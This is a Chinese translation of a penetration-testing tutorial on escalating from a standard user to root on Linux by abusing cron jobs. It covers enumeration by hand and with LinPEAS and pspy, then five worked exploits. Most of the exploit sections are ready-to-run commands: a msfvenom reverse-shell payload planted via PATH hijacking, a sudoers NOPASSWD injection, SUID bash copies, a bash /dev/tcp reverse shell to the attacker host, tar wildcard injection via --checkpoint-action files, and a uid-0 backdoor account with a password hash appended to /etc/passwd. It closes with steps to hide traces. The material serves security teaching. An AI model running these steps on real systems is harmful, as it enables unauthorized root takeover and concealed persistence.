Linux 提权-Cron Jobs

本文通过 Google 翻译 Cron Jobs – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将深入研究 cron 作业以及如何利用它们将我们的权限从标准用户升级到 root。

我们首先了解什么是 cron 作业以及它们如何工作,然后,我们再了解如何使用手动方法以及自动化工具 LinPEAS 来枚举它们。

在学习了如何枚举正在运行的 cron 作业之后,我们将回顾五个独特的 cron 作业示例。

在每个示例中,我们将找到一个正在运行的 cron 作业,然后确定是否满足允许我们利用它的所有条件。一旦确认,我们将利用 cron 作业将我们的权限提升到 root。

此外,对于我们利用的每个 cron 作业,我们还将使用不同的技术来提升到 root 权限。

这会是一件好事,所以让我们马上开始吧!

1、什么是 Cron Job?

Cron 作业是 Linux 版本的计划任务。它们几乎可以设置为每分钟运行一次或每年运行一次。

crond守护进程启用 cron 功能并读取 crontab 以执行列出的任何预定义脚本或命令。

1.1、了解 Crontabs 和 Cron 目录

有两种类型的 crontab 可用于运行 cron 作业:

  • 系统 crontab – 用于安排系统范围的作业 – 默认系统 crontab 配置文件位于 /etc/crontab
  • 用户 crontab – 此文件允许用户创建和编辑仅适用于用户级别的 cron 作业 – 使用crontab -e命令创建并存储在 /var/spool/cron/crontabs中。

请注意,使用crontab -e命令创建的 crontab仅对创建它们的用户可见,它们无法以标准方式枚举,这就是它们被视为 “隐藏 cron 作业” 的原因。标准用户甚至无法访问存储它们的目录,标准用户查看其 crontab 的唯一方法是使用 crontab 命令。

除了 crontabs 之外,还可以将 cron 作业添加到 etc/cron.d 目录中。但是,这不是一个好习惯,因为 cron.d 主要用于放置软件或系统自动安装和更新时附带的计划任务文件。

或者,root 用户也可以将其脚本移动到以下目录中以安排其执行(也是不好的做法):

  • /etc/cron.hourly/  – 每小时运行一次所有脚本
  • /etc/cron.daily/  – 每天运行一次。
  • /etc/cron.weekly/  – 每周运行一次。
  • /etc/cron.monthly/  – 每月运行一次。

root 用户创建 cron 作业的唯二地方是: /etc/crontab 文件或 /var/spool/cron/crontabs/root 中的个人 crontab 文件

作为攻击者,我们应该记住可以创建 cron 作业的其他位置。良好的做法并不总是标准做法,因此我们应该检查可以存储 cron 作业的所有可能位置。

1.2、如何在 Crontab 文件中读取 Cron 作业

最后,我们需要知道如何读取 cron 任务。幸运的是,/etc/crontab 文件对此做了很好的解释。

cat /etc/crontab

首先,我们可以看到 cron SHELL 和 cron PATH,它们本质上是 crontabs 的环境变量。

  • cron SHELL 用于执行 cron 作业,如下所示:/bin/sh -c
  • cron PATH 的工作方式与任何用户的 PATH 相同。这样,如果在 cron 作业中使用了没有绝对路径的命令,则 cron 作业将从左到右检查 PATH 中的每个目录,直到找到命令/脚本。

接下来,它向我们展示了作业定义,我们可以从中看到 cron 计时器是如何创建的。

有六个位置可以添加值来创建 cron 作业的运行时间表。星号表示所有可能的值。例如:

  • 5 * * * * * = 作业每 5 分钟运行一次
  • * 12 * * * 1 = 作业每周一中午 12 点运行
  • 52 6 1 * * * = 作业每月 1 日上午 6:52 运行

最后,我们还有四个预定义的 cron 作业,它们允许其他四个目录中的作业从单个位置执行。

现在我们了解了什么是 cron 作业、它们如何工作以及在哪里可以找到它们,让我们看看如何手动和使用工具枚举 cron 作业。

2、寻找 Cron 任务 - 手动方法

对于此示例,假设我们在属于用户devops的 NFS 共享文件夹中找到了一个密码。

找到用户凭证后,我们能够使用 SSH 在目标主机上立足。

由于我们能够通过 SSH 获得立足点,因此我们已经拥有了完整的 TTY,不需要再升级终端。

2.1、枚举系统 Cron 作业

我们要检查 cron 作业的第一个地方就是系统 crontab 文件。

cat /etc/crontab

这里我们可以看到这个主机上有四个 cron 作业正在运行。

前三个任务每分钟运行一次,最后一个任务每五分钟运行一次,所有 cron 任务都以 root 身份运行。

此外,我们还可以看到 cron PATH 已被编辑为包含 /dev/shm,这是一个所有人都可以写入的文件夹。

我们通常会在 crontab 文件中找到自定义的 cron 作业;不过,如前所述,还可以在其他目录执行这些作业。

如果我们在 crontab 文件中没有找到任何 cron 作业,或者这些作业无法被利用,我们可以使用以下命令检查所有 cron 目录中的自定义作业:

ls -l /etc/cron*

在这里,我们可以看到可以执行 cron 作业的所有五个附加目录。遗憾的是,在这些目录中都没有找到自定义的 cron 作业,上面这些都是默认情况下在这些目录中最常见的标准作业。

2.2、枚举用户 Cron 作业

上面我们已经枚举了所有的系统 crontab,下面我们可以枚举用户的 crontab(即 隐藏的 cron 作业)。

正如文章前面提到的,标准用户甚至无法访问存储用户 cron 作业的目录。

ls -l /var/spool/cron/crontabs

当我们检查 /var/spool/cron 文件夹权限时,我们就能明白原因。

ls -l /var/spool/cron | grep "crontabs"

这里我们可以看到该文件的所有者是 root 组是 crontab 。由于我们两者都不是,所以我们属于第三组,且该组只设置了“粘性位”,用“T”表示。

粘滞位是在文件或目录上设置的权限位,只允许文件/目录的所有者或根用户删除或重命名该文件。

本质上,粘滞位只是使得标准用户只能编辑使用crontab -e命令创建属于自己的 cron 作业。

因此,我们必须想出另一种方式来看待它们——如果它们存在的话。

有一种方法可以确定隐藏的 cron 作业是否正在运行,我们将在后面的文章中利用隐藏的 cron 作业时看到这一点。

接下来,让我们看看 LinPEAS 如何帮我们找到 cron 任务。

3、寻找 Cron 任务 – LinPEAS 方法

LinPEAS 是一款绝佳的后渗透枚举工具,因为它提供了大量信息。在受害者上运行该工具后,我们将看到通过手动枚举发现的所有相同内容,甚至更多。

然而,在使用工具之前展示手动步骤非常重要,这样我们才能了解工具的输出以及要寻找的内容。

如果您没有 LinPEAS 的副本,可以 在这里 获取一份。

通常,当我们运行 LinPEAS 时,我们会不带参数运行“所有检查项”,然后从上到下逐行梳理所有输出。

运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到文件,以便使用 grep 可以快速解析常见漏洞和关键字。

获取 LinPEAS 的副本后,我们需要将副本转移到受害者身上。

3.1、将 LinPEAS 下载到受害者身上

这可以通过多种方式完成,但在本例中,我们将从攻击者机器上启动的 Web 服务器下载它。

首先,我们需要从linpeas.sh所在的目录开启一个 HTTP 服务器。

python3 -m http.server 80

然后在受害机器上,我们可以先移动到 /tmp 目录,再下载 LinPEAS,然后授予其执行权限。

cd /tmp
wget http://172.16.1.30/linpeas.sh
chmod 755 ./linpeas.sh

3.2、用 LinPEAS 查找系统 Cron 作业

我们的工具已准备就绪,我们只需使用命令 ./linpeash.sh  ,脚本就会执行。

运行完成后,我们需要找到 "Cron jobs"子部分,它位于 "Processes, Crons, Timers, Services and Sockets"部分。

在这里我们可以看到,LinPEAS 列举了我们手动能找到的有关 cron 作业的所有相同信息(crontab + 4 个 cron 目录)。

anacron 是一个定期执行命令调度的计算机程序,传统上由 cron 完成,但不能假定系统可以持续运行。因此,它可用于控制每日、每周和每月工作的执行

LinPEAS 还会检查我们当前用户在 cron PATH 中的权限,以及包含使用绝对路径运行的任何脚本的目录。

通过这项检查,我们可以在 /opt/scripts 和 /dev/shm 目录中看到红色/黄色标识,这意味着我们当前的用户在这些目录中具有写权限!

此外,我们可以看到运行 tar 命令的 cron 作业也出现了红色/黄色标识。这是因为命令是以通配符(*)结尾,并且是一个已知漏洞。

LinPEAS 中的红色/黄色标识 = 该发现可被利用来提升权限的可能性为 95%。

接下来,我们将逐一查看和利用我们发现的在受害者身上运行的每个 cron 作业。

在每个示例中,我们都假设刚刚在目标主机上站稳脚跟,然后进行了一些基本的手动枚举。由于手动枚举的结果并不理想,所以我们决定执行 LinPEAS 来帮助我们枚举主机;在每个示例中,我们都会发现一个不同的 cron 作业正在运行。

4、利用 Cron Jobs – Cron PATH

对于第一个例子,我们可以看到 crontab 在 cron PATH 中有一个红色/黄色标识。

此外,我们可以看到有一个 cron 作业以 root 身份每分钟运行!

4.1、确定如何利用 Cron Job

之前我们了解到,没有执行二进制文件或脚本的绝对路径的 cron 作业将依赖 cron PATH 来查找它。在这种情况下,cron 作业将从左到右检查 cron PATH 中的每个目录,直到找到二进制文件或脚本。

有了这些信息,我们就可以使用 find 命令搜索 sytemctl 二进制文件,检查其执行位置。

find / -iname systemctl 2>/dev/null

这告诉我们systemctl从/usr/bin目录执行。

查看 cron PATH,/usr/bin是列出的最后一个目录。这意味着我们当前的用户对 PATH 中较早的目录具有写权限。

/dev/shm 上发现的红色/黄色标识表示我们对该目录具有写权限。为了确认这一点,我们可以发出以下命令:

ls -la /dev | grep "shm"

这里我们看到全是“w”,这意味着我们可以在这个目录中写入。

/dev/shm 与 /tmp 类似,它是一个通用的全局可写目录。

综上可知:我们有一个以 root 身份每分钟运行一次的 cron 作业,且是没有绝对 PATH 的 systemctl 执行命令,以及在 cron PATH 中比二进制文件执行位置更早的可写目录。

为了利用这个 cron 作业,我们要做的就是制作一个名为“systemctl”的恶意负载并将其放入 /dev/shm 文件夹中。

之后,当 cron 任务运行时,它将沿着 cron PATH 搜索 systemctl 二进制文件。由于 /dev/shm 位于 PATH 的最前面,所以它将停在那里运行我们的恶意负载,而不是从/usr/bin执行合法的 systemctl 二进制文件。

所以现在,我们的下一个目标是制作一个名为 “systemctl” 的恶意二进制文件。

4.2、设置漏洞并获取 Root Shell

转到我们的攻击者机器,我们可以制作一个恶意二进制文件并使用 msfvenom 将其命名为 systemctl 。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 -f elf -o systemctl

现在我们的有效载荷已经创建,我们可以将其下载到受害者的机器上。

之前我们在工作目录中设置了一个 HTTP 服务器,用于将 LinPEAS 下载到受害者主机上。我们现在也可以使用它来将我们的有效载荷下载到受害者主机上。

在受害者主机上,将目录更改为 /dev/shm 目录,然后下载有效负载。

cd /dev/shm
curl 172.16.1.30/systemctl -o systemctl

这里我们可以看到漏洞已成功下载;但是,它还没有准备好。为了让 cron 任务执行我们的二进制文件,我们需要授予其执行权限。

chmod 755 ./systemctl

完美!有效载荷已准备就绪,每分钟都会触发一次。剩下要做的就是在攻击者的机器上启动 netcat 监听器,并在下次 cron 作业运行时抓取 root shell。

不到一分钟,root shell 就检查完毕!

4.3、用脚本替换 syctemctl 二进制文件

在创建恶意systemctl二进制文件时,我们实际上可以使用一个非常酷的技巧。

由于 cron 任务的工作方式,cron SHELL 通过调用 /bin/sh -c “command” 来执行 crontab 中的二进制文件/脚本

这意味着我们实际上可以通过编写“脚本”来制作恶意的systemctl “二进制文件”。

“二进制” 和 “脚本” 都加了引号,因为这两者单从作业执行上来看,其实就是一个具有执行权限的命令而已,无所谓区分是脚本还是二进制程序。

由于 cron 作业将使用 /bin/sh -c 运行命令,所以我们要做的就是将单个恶意命令命名为systemctl的文件中,然后 cron 作业将像执行二进制文件一样执行它。

例如,我们可以用以下命令授予当前用户 完整的sudo 权限:

echo 'echo "devops ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /dev/shm/systemctl

接下来,我们需要赋予脚本执行权限。

chmod 755 /dev/shm/systemctl

现在我们只需要等待一会儿,然后测试 sudo -l 命令看看它是否有效。

BOOM!脚本执行并授予当前用户 完整的sudo 权限。

现在我们只需运行以下命令即可成为 root 用户且无需输入密码:

sudo su -

5、利用 Cron Jobs – 弱文件权限

在第二个例子中,我们检查了 LinPEAS 输出,发现根本没有任何红色/黄色标识。

但我们看到一个 cron 任务以 root 身份每分钟运行一次,并且该任务正在使用绝对路径运行 /opt/scripts 目录中的脚本。

即使这不是红色/黄色标识,但也值得仔细观察!

5.1、确定如何利用 Cron Job

此时我们不知道是否可以写入该脚本,因此我们需要检查的第一件事就是确定是否可以利用这个 cron 作业。

首先,我们应该检查 /opt/scripts 目录的权限。

ls -l /opt | grep "scripts"

这表明脚本目录归 root 所有,并且我们的用户只有读取/执行权限。

但是,我们可以对health-check.sh脚本本身拥有写权限,所以接下来让我们检查一下。

ls -l /opt/scripts | grep "health-check.sh"

太棒了!虽然我们没有目录的写入权限,但目录下的文件本身是所有人都可以写入的!

这意味着我们可以用恶意文件替换该文件,或者编辑它以便它为我们执行恶意命令。

接下来,我们应该阅读脚本,看看它在做什么。这将帮助我们确定是否最好编辑或替换该文件。

cat /opt/scripts/health-check.sh

该脚本用于检查 Web 服务器是否已启动并正在运行。更重要的是,我们可以看到一个循环,并且脚本在测试完成后也会退出。

这意味着我们不能在脚本底部添加恶意命令,因为它永远不会执行。例如,如果循环中的第一个条件为真,脚本就会在此结束运行。脚本将永远无法执行我们的命令。

但是,我们在 SSH 会话中拥有完整的 TTY,因此可以使用 vim、nano 等文本编辑器编辑脚本,然后直接在受害者主机上进行编辑。

这样,我们就能将恶意命令放在脚本的开头,使其在循环之前运行。

5.2、设置漏洞并获取 Root Shell

对于此示例,我们将以下命令添加到脚本中:

cp /bin/bash /tmp && chmod +s /tmp/bash

这告诉脚本将 /bin/bash 二进制文件复制到 /tmp,然后在 bash 的副本上设置 SUID 位。

接下来,我们需要找到已安装的文本编辑器。为此,我们将尝试使用常用的文本编辑器打开脚本,从 vim 开始:

vim /opt/scripts/health-check.sh

完美!vim 已安装,我们可以将我们的命令添加到脚本的第一项执行内容中。

现在我们等待,但不会持续太久,因为不到一分钟后,我们的 SUID bash 二进制文件就出现在 /tmp 目录中!

太棒了!cron 任务在运行脚本的其余部分之前运行了我们的恶意命令,然后创建了一个 SUID bash 二进制文件!

由于 bash 副本二进制文件的所有人是 root,因此我们可以使用它轻松进入 root shell。

/tmp/bash -p

6、利用 Cron Jobs – 弱目录权限

这个示例与上一个示例非常相似;不过,为了使其与众不同,我们将回顾一个涉及脚本丢失的有趣用例。

检查 LinPEAS 输出,我们可以看到这个 cron 作业看起来与我们上次看到的非常相似,但这次它被标记为红色/黄色标识。

6.1、确定如何利用 Cron Job

看到 /opt/scripts 为红色/黄色标识表明我们当前的用户应该对该目录具有写权限。

为了确认这一点,我们可以使用以下命令:

ls -l /opt | grep "scripts"

太棒了!这证实了我们当前的用户确实在 /opt/scripts 目录中具有写权限!

这意味着我们应该能够备份当前的脚本,然后用恶意脚本替换它。

然而,当我们检查脚本时,却找不到它……

ls -l /opt/scripts

我猜这意味着我们将无法利用这个 cron 作业,因为脚本不存在?

其实不然!我们仍然可以利用这个 cron 作业!

由于我们拥有 /opt/scripts 目录的写入权限,因此我们可以自己创建脚本。

6.2、设置漏洞并获取 Root Shell

对于这个例子,我们将创建一个反向 shell payload 并将脚本命名为 backup.sh

echo '#!/bin/bash' > /opt/scripts/backup.sh
echo "" >> /opt/scripts/backup.sh
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /opt/scripts/backup.sh

脚本创建完成后,我们需要赋予它执行权限。

chmod 755 /opt/scripts/backup.sh

最后,我们需要回到攻击机器,在 443 端口启动 netcat 监听器。不到一分钟后,我们的 root shell 就会登录。

7、利用 Cron Jobs – tar 通配符注入

在这个例子中,我们通过利用运行在 80 端口的网络服务器,在目标上建立了立足点。

这次,我们找到了一种上传 PHP 脚本并执行的方法,从而以用户www-data 的身份获得了立足点。

7.1、将 Shell 升级到完整 TTY

由于我们使用 netcat 获取了这个 shell,所以我们应该尝试升级到完整的 TTY。

请记住,这个步骤对于这个特定示例的运行并不是必需的,但这是一个很好的练习。

尝试将基本 shell(终端)升级为完整的 TTY 总是个好主意。如果你有兴趣,我在关于手动枚举的[文章](Manual Enumeration – Linux Privilege Escalation)中详细说明了这一点的重要性。

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

现在我们有了完整的 TTY,我们可以使用箭头浏览命令历史记录、使用制表符补全、清除终端等。

7.2、审查 LinPEAS 输出

就像前面的例子一样,让我们快进一下,假设我们已经进行了一些基本的手动枚举。但由于手动枚举的结果并不理想,所以我们决定运行 LinPEAS,现在我们正在查看输出结果。

这里我们可以看到一个 cron 任务,以 root 身份每 5 分钟运行一次。我们还可以看到目录和命令都是红色/黄色标识。

cron 任务首先使用cd命令进入到 webroot 目录。然后执行tar命令压缩目录中的所有文件,并将备份文件保存在 /root/website 目录中。

7.3、确定如何利用 Cron Job

www-data 账户拥有 var/www,因此该帐户肯定拥有 /var/www/html 的写入权限。这就是为什么它出现红色/黄色标识。

此外,我们可以看到命令中的 gz 部分也是红色/黄色标识。这是因为命令末尾有一个通配符,允许 tar 一次性压缩目录内的所有文件。

然而,这也为通配符注入漏洞打开了大门。

由于使用了通配符,我们实际上可以创建 switch文件(即以tar命令参数命名的文件),而 tar 在压缩目录中的所有内容时便会将这些文件包含进去。

在 PoC 中,我们可以创建一个以 -index-file=output.txt 参数命名的switch文件。然后,一旦 cron 作业运行,tar 便会以 root 身份执行这个参数相对应的动作。

touch '/var/www/html/--index-file=output.txt'

果然,几分钟后,output.txt 文件出现了,并且它的所有者是 root!

完美!这证实我们可以利用这个 cron 任务进行恶意攻击!

之所以这样工作,是因为命令行中的通配符被目录中所有文件的文件名称所取代。例如,在我们将“switch”文件添加到目录之前,cron 作业运行时它看起来是这样的:

tar -czf /root/website/backup.tar.gz index.html info.php monkey.php webshell.php

然而,在我们将“switch”文件添加到目录之后,它就变成了这样:

tar -czf /root/website/backup.tar.gz --index-file=output.txt index.html info.php monkey.php webshell.php

因为“switch”文件多是以“--”开头,所以它将是第一个被压缩的 “文件”。

我把“文件”放在引号中,是因为我们确实创建了一个这样的文件,但是当 tar 运行时,tar不会将其视为文件,对于 tar 来说,它只是一个开关。

通过快速从目录中删除 output.txt,然后运行 PoC,我们可以看到,由于我们不是 root(不能在 /root 中写入),所以出现了错误。不过,我们也可以看到 output.txt 文件已经创建。为了确认是我们创建了这个文件(而不是 cron 作业),我们可以看到这次的所有者不是 root,而是 www-data。

注:上面关于 tar 参数命名的文件我均以 “switch文件” 进行表达,我觉得这样更容易理解。而下面关于tar参数的表达我没有继续再用 switch 表达,我觉得此处用开关更能表达意思。

现在已经我们了解了它的工作原理,让我们看看如何使用不同的 tar 开关进行恶意攻击。

使用 tar –help,我们可以看到 tar所有可用的开关;然而,我们正在寻找两个特定的开关。

我们感兴趣的开关是上面突出显示的两个检查点开关。通过创建以这些开关命名的“文件”,我们将能够执行文件。

当 cron job 使用 tar 压缩目录时,会执行第一个 checkpoint 开关,启动检查点,一旦检查点启动,checkpoint-action 开关就会触发并为我们执行一个文件。

7.4、设置漏洞并获取 Root Shell

好了,我们要做的第一件事就是创建将在第二个检查点开关中执行的文件。

在本例中,我们将编写一个 bash 脚本,让其在 passwd 文件中创建一个 root 用户。

为此,我们需要跳转到攻击者的机器,然后使用 openssl 创建散列密码。为简单起见,我们将使用“password”作为密码。

openssl passwd password

运行命令后,我们会得到一个哈希值 ShuKpZV7v9ak,请保留这个值,因为我们在下一个命令中会需要它。

接下来,我们将创建一个脚本,将第二个 root 用户 r00t 添加到 passwd 文件中

echo '#!/bin/bash' > /var/www/html/rootme.sh
echo "" >> /var/www/html/rootme.sh
echo 'echo "r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash" >> /etc/passwd' >> /var/www/html/rootme.sh

脚本看起来没问题!我们只需要授予它执行权限,以便 tar 可以为我们执行它。

chmod 755 ./rootme.sh

接下来我们需要创建switch“文件”来为我们运行该脚本。

touch '/var/www/html/--checkpoint=1'
touch '/var/www/html/--checkpoint-action=exec=sh rootme.sh'

一切都已准备就绪,现在到了关键时刻……

不到一分钟后检查 passwd 文件,我们可以看到 r00t 用户已创建!

cat /etc/passwd | grep r00t

太棒了!漏洞利用成功,并创建了一个 root 用户。现在,我们只需使用 su 命令即可成为 r00t,并在提示时输入 password 作为密码。

BOOM!就这样,我们就进入了 root shell。

8、利用 Cron Jobs – 隐藏的 Cron Jobs

对于这最后一个例子,我们再次以 devops 用户身份通过 SSH 进入主机,并运行 LinPEAS。

本示例与其它示例相比的一个主要的区别是,这次 LinPEAS 没有在 /etc/crontab 文件中发现正在运行的单个自定义 cron 作业。

此外,/etc/cron* 目录中没有运行任何自定义 cron 作业。

由此看来,本次通过利用 cron 作业漏洞提升权限的可能性似乎不大。

对我们来说幸运的是,这并不完全正确,因为我们仍然不知道是否有任何用户 cron 作业正在运行。

8.1、确定 Cron 守护进程是否正在运行

在本篇文章的前半部分,我们了解了用户 crontab,这是一个允许用户创建和编辑适用于用户级别的 cron 作业的文件。我们还了解到,这些脚本存储在 /var/spool/cron/crontabs 目录中,标准用户无法访问该目录。

如果我们没有在 /etc/crontab 或任何其他 /etc/cron* 目录中发现任何正在运行的 cron 作业,我们应该首先确认 cron 守护进程是否正在运行。

ps -efw | grep -i "cron"

好了,在这里我们可以看到 cron 守护进程正在运行,这意味着仍有可能有一个用户 cron 作业在运行,而且希望是以 root 的身份运行。

8.2、使用 PsPy 寻找隐藏的 Cron 任务

我们可以使用一个很棒的工具来实时查看正在运行的进程,它叫做 pspy

pspy 是一款命令行工具,用于窥探进程而无需 root 权限。它允许你查看其他用户运行的命令、cron 作业等的执行情况。

在攻击者的机器上获取该工具的 32 位和 64 位版本的副本后,我们需要将副本传输到受害者身上。

由于该受害者正在运行 x64 架构,因此我们将发送 64 位版本。

在攻击者机器上,我们可以在工作目录中放置一份 pspy 副本,该目录目前仍托管着 HTTP 服务器。然后回到受害者机器上,使用以下命令抓取副本:

cd /dev/shm
curl 172.16.1.30/pspy64 -o pspy64

接下来,我们需要赋予二进制执行权限。

chmod 755 ./pspy64

现在该工具已可供使用,我们可以执行它并等待查看是否出现任何有趣的流量。

几分钟后,我们不仅可以清楚地看到 cron 作业每分钟都在运行,而且它还以 root 身份运行!

太棒了!使用 pspy 我们能够找到正在运行的 “隐藏 cron 作业”。

现在我们已经找到了我们正在寻找的东西,我们可以使用CTRL + C退出 pspy 。

8.3、确定如何利用 Cron Job

发现受害者正在运行 cron 作业后,下一步就是检查目录和脚本本身的权限。

首先,我们应该检查脚本执行所在的 /opt/scripts 目录的权限。

ls -l /opt | grep "scripts"

太棒了!我们发现我们对 /opt/scripts 目录具有写权限!

接下来,我们还应该检查文件的所有者,看看是否可以直接编辑。

ls -l /opt/scripts | grep "test-connect.sh"

由于我们对目录具有写权限而对文件没有写权限,因此我们无法像之前那样编辑脚本!

通过这一发现,我们确定利用这个 cron 作业的唯一方法是用恶意脚本替换该脚本。

实际上,我们有一种方法可以写入脚本。移动文件时会发生一些有趣的事情,我们将在后面看到。

接下来,让我们快速检查一下脚本正在做什么。

cat /opt/scripts/test-connect.sh

好吧,这只是一个简单的脚本,它使用 if/else 语句来检查网络是通还是断。

8.4、设置漏洞并获取 Root Shell

无论它做什么,我们都无法对其进行编辑,因此我们将把原始脚本移动到一个我们可以写入的目录中,然后用恶意版本替换该脚本。

mv /opt/scripts/test-connect.sh /dev/shm

有趣的是,一旦文件被移动,devops 将成为文件所有者。这意味着我们可以在移动脚本后对其进行编辑,然后将其移回原始文件夹。

相反,我们将继续执行原计划,用恶意脚本替换当前脚本。

为什么文件在移动时不属于 root? 这是由于DevOps 在移动文件时,ACL 阻止文件归 root 所有;因此,系统被迫让 DevOps 成为“新”文件的所有者。最简单的理解是,DevOps 无法将 root 指定为文件所有者;但是,root 可以将任何用户指定为文件所有者。

由于我们已经使用 cron 作业以 4 种不同的方式获取 root 身份,因此这次我们将保持简单并在 /tmp 文件夹中创建另一个 SUID bash 二进制文件。

echo '#!/bin/bash' > /opt/scripts/test-connect.sh
echo "" >> /opt/scripts/test-connect.sh
echo 'cp /bin/bash /tmp && chmod +s /tmp/bash' >> test-connect.sh

不到一分钟,/tmp 目录中就会出现一个新的 SUID bash 二进制文件!

由于 bash 二进制文件归 root 所有,我们可以使用它轻松进入 root shell。

/tmp/bash -p

最后,不要忘记清理脚本并从备份中恢复它并再次让 root 成为所有者!

mv /dev/shm/test-connect.sh /opt/scripts/
chown root:root /opt/scripts/test-connect.sh

太棒了!现在一切都恢复了原样,就像我们从未来过一样!

posted @ 2024-06-06 11:45  扛枪的书生  阅读(429)  评论(1编辑  收藏  举报